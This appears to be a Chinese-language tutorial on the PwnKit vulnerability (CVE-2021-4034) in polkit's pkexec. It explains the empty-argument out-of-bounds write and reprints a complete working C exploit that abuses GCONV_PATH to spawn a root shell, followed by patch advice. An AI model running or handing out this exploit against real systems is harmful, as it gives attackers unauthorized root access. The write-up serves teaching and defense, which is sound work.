该漏洞于2021年发现，但在2022年1月才被公布和披露。CVE-2021-4034被亲切地命名为Pwnkit，然而它存在于几乎所有操作系统（Linux发行版）的策略工具包 - Polkit包的所有版本中。简而言之，此漏洞允许任何未经授权的攻击者将其访问权限垂直提升至操作系统管理员级别。
[!IMPORTANT] 此漏洞可在 pkexec 0.105 或更早版本中找到。
尽管这是一个高度严重的CVE，根据NIST.GOV的分类，其**CVSS评分达7.8分**，但它只能被本地利用，也就是说，无法远程（通过网络访问）利用。
Polkit充当Linux授权系统。当您的用户权限较低但需要执行需要高权限（例如管理员）的任务时，polkit会检查您的用户是否拥有所需的权限。
例如，通过pkexec实用程序，我们可以调用polkit函数，该函数检查权限，如果没有权限，则要求输入密码。如下例所示；
如上所述，Pwnkit漏洞存在于pkexec（权限检查过程中）。对于此漏洞，在通过命令行（CLI）执行pkexec时，没有对参数处理进行安全性检查，从而允许攻击者操纵环境变量，并导致一种称为**"越界写入"**的缺陷。
pkexec尝试使用for循环解析我们传递给它的任何命令行参数，从索引1开始以忽略程序名称并获取第一个实际参数。程序名称与参数解析无关，因此只需偏移索引以忽略它。
因此，如果我们没有定义任何参数，索引将自动定义为1。
下面我们创建一个示例。
for(n=1; n < 参数数量; n++){
}
如果参数数量为0，则'n'永远不会小于参数数量。因此，'n'保持为1，并且循环被**完全绕过**，循环不会执行。
由于没有命令行参数，索引n处也没有参数——相反，程序会覆盖内存中的下一个内容，而这恰好是当使用C函数execve()调用程序时，环境变量列表中的第一个值。换句话说，通过向pkexec传递一个空的参数列表，我们可以强制它覆盖一个环境变量。
有多种方式及各种网络脚本来轻松利用此漏洞。为节省时间，我们将使用来自我们朋友Arthepsy的仓库中创建的C脚本来利用此漏洞。
该脚本利用GCONV_PATH变量包含一个共享对象，该对象以root身份调用/bin/sh。
Arthepsy - CVE-2021-4034 - exploit.c
在运行脚本之前，我们将检查您对受害主机的访问权限。
我们有一个1000用户（非root），无法执行特定的管理员功能，例如useradd。
我们获得了root用户的访问权限，并成功执行了一些功能，如useradd（错误指向另一个问题，但我们能够以root身份执行该过程）。
完成 ✔️
为总结此次利用，我们可以快速查看以下漏洞利用脚本；
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
它基本上利用了前面提到的pkexec参数，并用/bin/sh覆盖GCONV_PATH环境变量，同时设置stuid(0)（root）。
操作系统包本身已经提供了修复版本，只需执行sudo apt update && sudo apt upgrade命令，即可修复您的系统中的此问题。